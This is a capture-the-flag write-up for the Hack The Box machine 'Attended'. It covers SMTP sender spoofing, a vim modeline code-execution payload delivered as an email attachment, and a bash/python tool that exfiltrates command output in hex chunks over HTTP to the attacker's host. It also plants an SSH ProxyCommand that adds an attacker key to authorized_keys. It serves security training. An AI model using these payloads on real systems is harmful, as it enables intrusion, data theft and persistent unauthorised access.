jebidiah-anthony

write-ups and what not

HTB APT (10.10.10.221)



PART 1 : INITIAL RECON

1.1 NMAP scan

$ nmap --min-rate 3000 -oN nmap-tcp.initial -p- -Pn -T4 -v 10.10.10.221

  PORT   STATE SERVICE
  22/tcp open  ssh
  25/tcp open  smtp

$ nmap -oN nmap-tcp -p 22,25 -Pn -sC -sV -v 10.10.10.221

  PORT   STATE SERVICE VERSION
  22/tcp open  ssh     OpenSSH 8.0 (protocol 2.0)
  | ssh-hostkey:
  |   3072 4f:08:48:10:a2:89:3b:bd:4a:c6:81:03:cb:20:04:f5 (RSA)
  |   256 1a:41:82:21:9f:07:9d:cd:61:97:e7:fe:96:3a:8f:b0 (ECDSA)
  |_  256 e0:6e:3d:52:ca:5a:7b:4a:11:cb:94:ef:af:49:07:aa (ED25519)
  25/tcp open  smtp
  | fingerprint-strings:
  |   GenericLines, GetRequest:
  |     220 proudly setup by guly for attended.htb ESMTP OpenSMTPD
  |     5.5.1 Invalid command: Pipelining not supported
  |   Hello:
  |     220 proudly setup by guly for attended.htb ESMTP OpenSMTPD
  |     5.5.1 Invalid command: EHLO requires domain name
  |   Help:
  |     220 proudly setup by guly for attended.htb ESMTP OpenSMTPD
  |     214- This is OpenSMTPD
  |     214- To report bugs in the implementation, please contact bugs@openbsd.org
  |     214- with full details
  |     2.0.0: End of HELP info
  |   NULL:
  |_    220 proudly setup by guly for attended.htb ESMTP OpenSMTPD
  | smtp-commands: proudly setup by guly for attended.htb Hello nmap.scanme.org [10.10.14.28], pleased to meet you, 8BITMIME, ENHANCEDSTATUSCODES, SIZE 36700160, DSN, HELP,
  |_ This is OpenSMTPD To report bugs in the implementation, please contact bugs@openbsd.org with full details 2.0.0: End of HELP info

PART 2 : PORT ENUMERATION

2.1 TCP PORT 22 (OpenSSH)

Failing to login three times lets us see what authentication methods are accepted when attempting to SSH into the box:

$ ssh 10.10.10.221

  kali@10.10.10.221's password:
  Permission denied, please try again.
  kali@10.10.10.221's password:
  Permission denied, please try again.
  kali@10.10.10.221's password:
  kali@10.10.10.221: Permission denied (publickey,password,keyboard-interactive).

It seems like nothing unusual is needed to authenticate.

2.2 TCP PORT 25 (OpenSMTPD)

Looking at the banner when trying to access the OpenSMTPD service via telnet, a user (guly) and domain (attended.htb) are seen. And, when you try to verify if it is an existing email address, the server responds with 250 Recipient Ok:

$ telnet 10.10.10.221 25

  220 proudly setup by guly for attended.htb ESMTP OpenSMTPD
  HELO jebidiah
  250 proudly setup by guly for attended.htb Hello jebidiah [10.10.14.28], pleased to meet you
  MAIL FROM:<jebidiah>
  553 5.1.0: Sender address syntax error
  MAIL FROM:<test@jebidiah.htb>
  250 2.0.0: Ok
  RCPT TO:<guly@attended.htb>
  250 2.1.5 Destination address valid: Recipient ok

Now starting a local SMTP server to check if guly replies to emails:

$ sudo python -m smtpd -c DebuggingServer -n 10.10.14.8:25

Not to begin sending an email:

$ swaks --to "guly@attended.htb" --from "jebidiah@10.10.14.8" --body "something" --server 10.10.10.221

We get the following reply saying that guly is currently working on an inssue with someone named, freshness and will only entertain emails coming from him:

hello, thanks for writing.
i'm currently quite busy working on an issue with freshness and dodging any email from everyone but him. i'll get back in touch as soon as possible.


---
guly

OpenBSD user since 1995
Vim power user

/"\
\ /  ASCII Ribbon Campaign
 X   against HTML e-mail
/ \  against proprietary e-mail attachments

Trying to impersonate freshness using swaks:

$ swaks --to "guly@attended.htb" --from "freshness@10.10.14.8" --body "something" --server 10.10.10.221

Now, the response says that now, guly needs to receive an attachment. And also, python2 is installed in the gateway which only allows RFC compliant connections (e.g. SMTP, ICMP, HTTP, etc.):

hi mate, could you please double check your attachment? looks like you forgot to actually attach anything :)

p.s.: i also installed a basic py2 env on gw so you can PoC quickly my new outbound traffic restrictions. i think it should stop any non RFC compliant connection.


---
guly

OpenBSD user since 1995
Vim power user

/"\
\ /  ASCII Ribbon Campaign
 X   against HTML e-mail
/ \  against proprietary e-mail attachments

Trying to create an attachment then sending it to guly as freshness:

$ echo test > test.txt

$ swaks --to "guly@attended.htb" --from "freshness@10.10.14.8" --body "something" --attach test.txt --server 10.10.10.221

I get notified that that attachment I sent as going to be opened in vim and that freshness' configuration file should be in /home/shared/:

thanks dude, i'm currently out of the office but will SSH into the box immediately and open your attachment with vim to verify its syntax.
if everything is fine, you will find your config file within a few minutes in the /home/shared folder.
test it ASAP and let me know if you still face that weird issue.


---
guly

OpenBSD user since 1995
Vim power user

/"\
\ /  ASCII Ribbon Campaign
 X   against HTML e-mail
/ \  against proprietary e-mail attachments

The following are everything we’ve gotten from the email exchange above:

  • Only emails from freshness will be entertained.

  • Only RPC compliant protocols for outbound traffic will be allowed which means simple socket connections (for reverse shells) will not work.

  • Python2 could be used and the sent attachment will be opened using vim.

  • A config file should be in /home/shared/.


PART 3 : EXPLOITATION

3.1 VIM MODELINES

While searching for code execution exploits in vim, I came across CVE-2016-1248 which is Arbitrary Command Execution using vim modelines. However, it was discovered around 2016 and a newer exploit (CVE-2019-12735) was found on 2019.

What happens when modelines is enabled in vim is that when the file contains the following line:

:!<command> ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

The command will execute before proceeding to the actual file contents.

3.2 PAYLOAD CREATION

There are a few challenges to overcome since only RPC compliant protocols are allowed for outbound connections so first, I created an automated vim modeline payload generator using bash:

#!/bin/bash

echo "[x] CREATING PAYLOAD";
cmd=$1;
payload=":!python2 -c 's=import(\"subprocess\").Popen(\"$cmd\", shell=True, stdout=-1).communicate()[0].strip(); [import(\"requests\").get(\"http://10.10.14.8/\", params={len(s):\"\".join([format(ord(x), \"02x\") for x in s[3000*i:3000*(i+1)]])}) for i in range(0,int(import(\"math\").floor(float(len(s))/3000))+1)]' ||\" vi:fen:fdm=expr:fde=assert_fails(\"source\!\ \%\"):fdl=0:fdt=\"";

echo $payload > cmd.txt
echo $payload;

echo "[x] SENDING PAYLOAD AS ATTACHMENT"

swaks --to "guly@attended.htb" --from "freshness@10.10.14.28" --body "ggwp" --attach cmd.txt --server 10.10.10.221 2>/dev/null

echo "[x] CLEANING UP"
rm cmd.txt

This incorporates a python2 one-liner which when expanded looks like the following:

import math
import requests
import subprocess

s = subprocess.Popen("<command>", shell=True, stdout=-1).communicate()[0].strip()

for i in range(0, int(math.floor(float(len(s))/3000))+1):
    params = { len(s): "".join([format(ord(x), "02x") for x in s[3000i:3000(i+1)]])}
    requests.get("http://10.10.14.8/", params=params)

What it essentially does is to chunk the response to a maximum of 3000 bytes per request since there seems to be a limit to how much data I could send back to my server.

After which, I created an HTTP Server that will be used to exfiltrate the responses from the machine and since I’m chunking the requests, the following code will manage with rebuilding the response:

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse

global content
content = dict()
def http_server(host_port):

    class CustomHandler(SimpleHTTPRequestHandler):
        def do_GET(self) -> None:
            self.send_response(200)

            params_get = urlparse(self.path).query.split('&')
            for i in params_get:
                param = i.split("=",1)
                if param[0] in content:
                    content[param[0]] += bytes.fromhex(param[1]).decode("utf-8")
                else:
                    content[param[0]] = bytes.fromhex(param[1]).decode("utf-8")

            for i in content:
                if int(i) == len(content[i]):
                    print(content[i])
                    print("==============================================")
                    del content[i]

            self.send_header("Content-Type", "text/plain")
            self.end_headers()
            return

    class Server(TCPServer): allow_reuse_address = True

    httpd = Server(host_port, CustomHandler)
    httpd.serve_forever()

def main():
    try: http_server(('0.0.0.0', 80))
    except KeyboardInterrupt: pass

if name == "main": main()

3.3 REMOTE CODE EXECUTION

Start the created HTTP Server:

$ sudo python3 server.py 2>/dev/null

Then, begin sending commands then wait until the HTTP server reflects the output:

$ ./cmd.sh id
uid=1000(guly) gid=1000(guly) groups=1000(guly)

PART 4 : GETTING A USER SHELL (freshness)

4.1 ENUMERATING USING THE RCE

Checking for all the users that have a directory in /home:

$ ./cmd.sh "ls -la /home"
total 20
drwxr-xr-x   5 root       wheel      512 Jun 26  2019 .
drwxr-xr-x  13 root       wheel      512 May  8 11:05 ..
drwxr-x---   4 freshness  freshness  512 Nov 12 16:56 freshness
drwxr-x---   4 guly       guly       512 May  8 15:12 guly
drwxrwx-wx   2 root       freshness  512 Dec 11 22:25 shared

The config file mentionedd earlier should be in /home/shared but the directory doesn’t seem to have global read permissions, however exploring guly’s home directory:

$ ./cmd.sh "ls -la /home/guly/tmp"
total 32
drwxr-xr-x  2 guly  guly    512 Jun 26  2019 .
drwxr-x---  4 guly  guly    512 May  8 15:23 ..
-rwxr-x---  1 guly  guly  12288 Jun 26  2019 .config.swp

There is a .config.swp file (.swp files are usually created when a file is opened in vim and will serve as a backup until the opened file is closed). Since this is a binary file, it can’t be exfiltrated by simply outputting the file:

$ ./cmd.sh "cat /home/guly/tmp/.config.swp | xxd -p | tr -d '\n'"
623056494d20382e3100000000100000000000000000000074ac000067756c79000000000000000000000000000000000000000000000000000000000000000000000000617474656e6465642e687462000000000000000000000000000000000000000000000000000000007e67756c792f746d702f2e7373682f636f6e666967000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d5533323130000000002322212013125500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000747001007f0000000200000000000000070000000000000001000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000616400003f0f0000770f0000001000000700000000000000f90f0000e80f0000d30f0000b70f0000a30f0000900f0000770f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002020536572766572416c697665496e74657276616c2036300020205443504b656570416c69766520796573002020436f6e74726f6c50657273697374203468002020436f6e74726f6c50617468202f746d702f25724025683a2570002020436f6e74726f6c4d6173746572206175746f002020557365722066726573686e65737300486f7374202a00

4.2 RESTORING .config.swp

Saving the hex output into a file, .config.swp.hex, then decoding it into the original file:

$ cat .config.swp.hex | xxd -p -r > .config.swp

To fully recover the file, just open a file called config in vim and then press r:

$ vim config

  Swap file ".config.swp" already exists!
  [O]pen Read-Only, (E)dit anyway, (R)ecover, (D)elete it, (Q)uit, (A)bort: r

$ cat config

  Host *
    User freshness
    ControlMaster auto
    ControlPath /tmp/%r@%h:%p
    ControlPersist 4h
    TCPKeepAlive yes
    ServerAliveInterval 60

It seems to be an ssh_config file for the user, freshness. Maybe this could be abused by using ProxyCommand like so:

Host *
  User freshness
  ControlMaster auto
  ControlPath /tmp/%r@%h:%p
  ControlPersist 4h
  TCPKeepAlive yes
  ServerAliveInterval 60
  ProxyCommand echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDAjMN54BBvvnJUXFjy9FSQ0zUVC7ZJg8FG+hPkNcoIk/ZZTz84yzE3sobaFTgDhfsjgisDd2jjZg8xuBZ4Gjo2pE0aqUQfP4bQwL6N4k+TmqMjBamwy7Copjt+sF0m4EJX1ZkURCFgL1ssqXorFDfRZSA3WingLrq2GYcJS9TMLlt5ZFzcT+umOHGE5wtYCHu11yCSpZNFl2S04GTsB2R/D3X1tQqRdWpIg1JGD0/gSFSuBJNn7ngOfPKQrjlBOrvCgtB+mWgBLp0smETICi9IqIvnW6K5AWNP+ZxWm4Bjl5Vor0mmfQdCcRVElZdpEEW59XSwnhlCpzW+hk8MzQGUoqJ01JKa03rFqdHLHWIy2sfS4vFsG450A4un/hClPMoQxf12gwY2WwsBwAwRKTi1Q23lnLN/NolaCdzOdEUzVc9drcQbvWlR+dxkiW09eFEqk6TEFiVtla2oywhozphFdjye7GPVfuz/862VAMOyG/Ny/82dGOzmt+irNsfc5Tc= >> /home/freshness/.ssh/authorized_keys

Based on the directory listing of /home, /home/shared is world writable:

$ ./cmd.sh "ls -la /home"
total 20
drwxr-xr-x   5 root       wheel      512 Jun 26  2019 .
drwxr-xr-x  13 root       wheel      512 May  8 11:05 ..
drwxr-x---   4 freshness  freshness  512 Nov 12 16:56 freshness
drwxr-x---   4 guly       guly       512 May  8 15:12 guly
drwxrwx-wx   2 root       freshness  512 Dec 11 22:25 shared

Now, attempting to write a config file with ProxyCommand into /home/shared/config using the vim modelines exploit:

$ cat ssh.txt

  :!echo -en 'Host *\n  User freshness\n  ControlMaster auto\n  ControlPath /tmp/%r@%h:%p\n  ControlPersist 4h\n  TCPKeepAlive yes\n  ServerAliveInterval 60\n  ProxyCommand echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDAjMN54BBvvnJUXFjy9FSQ0zUVC7ZJg8FG+hPkNcoIk/ZZTz84yzE3sobaFTgDhfsjgisDd2jjZg8xuBZ4Gjo2pE0aqUQfP4bQwL6N4k+TmqMjBamwy7Copjt+sF0m4EJX1ZkURCFgL1ssqXorFDfRZSA3WingLrq2GYcJS9TMLlt5ZFzcT+umOHGE5wtYCHu11yCSpZNFl2S04GTsB2R/D3X1tQqRdWpIg1JGD0/gSFSuBJNn7ngOfPKQrjlBOrvCgtB+mWgBLp0smETICi9IqIvnW6K5AWNP+ZxWm4Bjl5Vor0mmfQdCcRVElZdpEEW59XSwnhlCpzW+hk8MzQGUoqJ01JKa03rFqdHLHWIy2sfS4vFsG450A4un/hClPMoQxf12gwY2WwsBwAwRKTi1Q23lnLN/NolaCdzOdEUzVc9drcQbvWlR+dxkiW09eFEqk6TEFiVtla2oywhozphFdjye7GPVfuz/862VAMOyG/Ny/82dGOzmt+irNsfc5Tc= >>/home/freshness/.ssh/authorized_keys\n' > /home/shared/config && ping -c1 10.10.14.28 ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

$ swaks --to "guly@attended.htb" --from "freshness@10.10.14.8" --body "something" --attach ssh.txt --server 10.10.10.221

After waiting for guly to reply to the sent email, we can SSH into the box as freshness:

$ ssh -i freshness.id_rsa -l freshness 10.10.10.221

attended$ id

  uid=1001(freshness) gid=1001(freshness) groups=1001(freshness)

attended$ ls -l

  total 16
  drwxr-x---  2 freshness  freshness  512 Nov 16 13:57 authkeys
  -rw-r--r--  1 freshness  freshness  436 May  8 16:27 dead.letter
  -rwxr-x---  1 root       freshness  422 Jun 28  2019 fchecker.py
  -r--r-----  1 root       freshness   33 Jun 26  2019 user.txt

attended$ cat user.txt

  b0390ad535424c0981699b93041a3ff1

PART 5 : EXPLOITING authkeys

5.1 ENUMERATING INSIDE freshness

